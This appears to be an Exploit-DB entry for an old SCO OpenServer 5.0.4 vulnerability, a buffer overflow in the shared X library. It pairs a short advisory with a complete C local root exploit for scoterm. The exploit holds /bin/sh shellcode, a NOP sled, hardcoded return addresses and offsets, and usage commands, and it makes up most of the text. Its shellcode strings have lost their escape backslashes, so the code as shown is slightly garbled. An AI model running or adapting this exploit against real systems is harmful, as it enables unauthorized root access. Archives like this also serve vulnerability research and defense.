https://www.exploit-db.com/exploits/19500

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/638/info
 
A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.
 
 
Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.
 
Setuid bin applications known to be vulnerable include scosession. 

/*
 * <scotermx.c> Local root exploit 
 *
 * Offset: scoterm (SCO OpenServer 5.0.4)
 * 0 -> From an open scoterm (without display parameter)
 * 2500 -> From remote telnet (with display parameter)
 *
 * Usage: 
 * $ cc scotermx.c -o scotermx
 * $ scoterm 
 * $ /usr/bin/X11/scoterm -geometry `scotermx 0`
 *                      or
 * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
 *
 * Note: scoterm need to be run from a valid x-display
 *
 * By: The Dark Raver of CPNE (Murcia/Spain - 21/6/99) 
 *
 * <http://members.tripod.com/~ochodedos> - <[email protected]>
 *
 */ 


#include <stdlib.h>
#include <stdio.h>


char hell[]=
"xebx1bx5ex31xdbx89x5ex07x89x5ex0cx88x5ex11x31xc0"
"xb0x3bx8dx7ex07x89xf9x53x51x56x56xebx10xe8xe0xff"
"xffxff/bin/shxaaxaaxaaxaax9axaaxaaxaaxaax07xaa";

/*
char hell[]=
"xebx1b" // start: jmp uno 
"x5e" // dos: popl %esi
"x31xdb" // xorl %ebx,%ebx
"x89x5ex07" // movb %bl,0x7(%esi)
"x89x5ex0c" // movl %ebx,0x0c(%esi)
"x88x5ex11" // movb %bl,0x11(%esi)
"x31xc0" // xorl %eax,%eax
"xb0x3b" // movb $0x3b,%al
"x8dx7ex07" // leal 0x07(%esi),%edi
"x89xf9" // movl %edi,%ecx
"x53" // pushl %ebx
"x51" // pushl %ecx
"x56" // pushl %esi
"x56" // pushl %esi
"xebx10" // jmp execve
"xe8xe0xffxffxff" // uno: call dos
"/bin/sh"
"xaaxaaxaaxaa"
"x9axaaxaaxaaxaax07xaa"; // execve: lcall 0x7,0x0 
*/

                       
#define OFF 0x80452ff   // SCO OpenServer 5.0.4
#define ALINEA 1
#define LEN 2000
                       

int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
        printf("Usage: scotermx <offset>n"); 
        exit(0); }
else {
        offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+1000,hell,strlen(hell));
for(i=1100+ALINEA;i<LEN-4;i+=4)
        *(int *)&buf[i]=OFF+offset;

for(i=0;i<LEN;i++)
        putchar(buf[i]);
        
exit(0);        
}